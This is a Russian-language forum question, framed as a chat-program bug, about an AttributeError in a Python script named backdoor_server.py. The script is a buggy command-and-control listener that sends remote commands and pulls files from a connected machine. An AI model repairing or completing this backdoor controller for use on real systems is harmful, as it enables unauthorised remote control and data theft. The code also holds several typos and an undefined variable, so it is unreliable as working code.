Проблема с socket
Делаю чат с помощью socket, но выходит ошибка:
Traceback (most recent call last):
File "backdoor_server.py", line 48, in <module>
my_listener = Listener("10.0.2.16", 4444)
File "backdoor_server.py", line 7, in __init__
listener.setsoсkopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
AttributeError: 'socket' object has no attribute 'setsoсkopt'
вот код сервера:
import socket
import json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
listener.setsoсkopt(socket.SOL_SOCKET,
socket.SO_REUSEADDR, 1)
listener.bing((ip, port))
listener.listen(0)
print("[*] Ожидание соединения")
self.connection, addres = listener.accept()
print("[+] Соединение установлено с " + str(addres))
def send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def receive(self):
json_data = ""
while True:
try:
json_data = jason_data +
self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.send(command)
if command[0] == "exit()":
self.connection.close()
exit()
return self.receive()
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(content)
return "[*] Файл скачен"
def run(self):
while True:
command = input(">> ")
command = command.split(" ")
result = self.execute_remotely(command)
if command[0] == "download":
result = self.write_file(command[1], content)
print(result)
my_listener = Listener("10.0.2.16", 4444)
my_listener.run()